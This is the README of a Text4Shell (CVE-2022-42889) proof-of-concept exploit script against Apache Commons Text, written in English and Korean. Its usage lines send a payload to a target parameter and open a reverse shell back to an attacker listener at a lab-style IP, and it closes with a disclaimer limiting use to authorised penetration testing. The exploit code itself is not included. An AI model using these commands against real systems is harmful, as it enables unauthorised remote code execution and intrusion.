
Proof of Concept (PoC) for CVE-2022-42889 (Text4Shell) targeting Apache Commons Text versions prior to 1.10.0. This script automates Remote Code Execution (RCE) via script interpolation to establish a reverse shell. This version is a structured optimization based on the original exploit found at Exploit-DB (ID: 52261).
이 스크립트는 Apache Commons Text(버전 < 1.10.0) 내의 Text4Shell로도 알려진 CVE-2022-42889 취약점을 악용하도록 설계된 침투 테스트 도구입니다. 리버스 셸을 트리거하기 위해 Java 기반 페이로드를 전달하는 과정을 자동화합니다.
이 구현은 공개 익스플로잇을 기반으로 합니다: https://www.exploit-db.com/exploits/52261
이 스크립트는 Python 3와 requests 라이브러리가 필요합니다.
pip install requests
python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT
python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139
이 도구는 교육 목적과 공인된 침투 테스트만을 위해 제작되었습니다. 저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다.